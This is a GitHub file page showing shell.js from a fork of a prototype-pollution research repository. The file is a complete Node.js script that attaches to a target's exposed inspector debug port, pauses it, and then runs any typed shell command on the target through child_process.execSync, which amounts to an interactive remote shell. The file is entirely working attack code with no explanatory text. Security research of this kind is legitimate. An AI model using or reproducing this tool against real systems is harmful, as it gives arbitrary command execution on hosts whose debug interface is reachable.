forked from KTH-LangSec/server-side-prototype-pollution
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathshell.js
62 lines (48 loc) · 1.69 KB
/
shell.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// see https://chromedevtools.github.io/devtools-protocol/tot/Debugger
const InspectorClient = require('node-inspect/lib/internal/inspect_client.js');
const readline = require('readline');
const targetIP = '127.0.0.1';
const targetPort = 1337;
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
async function main() {
try {
const client = new InspectorClient();
await client.connect(targetPort, targetIP);
process.stdout.write("INIT\n");
await client.callMethod("Debugger.enable");
await client.callMethod("Runtime.enable");
await client.addListener('Debugger.paused', async (p) =>{
process.stdout.write("paused\n\n");
rl.setPrompt('> ');
rl.prompt();
rl.on('line', async function(cmd) {
let output = await client.callMethod("Runtime.evaluate", {
expression: `require('child_process').execSync('${cmd.trim()}').toString()`,
includeCommandLineAPI: true
});
console.log(output.result.value);
rl.prompt();
}).on('close', function() {
console.log('Have a great day!');
process.exit(0);
});
//await client.callMethod("Debugger.resume");
});
await client.addListener('Debugger.resumed', (p) =>{
process.stdout.write("resumed\n");
});
await client.callMethod("Runtime.evaluate", {
expression: "process.on('exit', (code) => {debugger;console.log('EVAL');})",
includeCommandLineAPI: false
});
await client.callMethod("Runtime.runIfWaitingForDebugger");
process.stdout.write("RUN\n");
} catch (e) {
console.error(e);
process.exit(1);
}
}
main();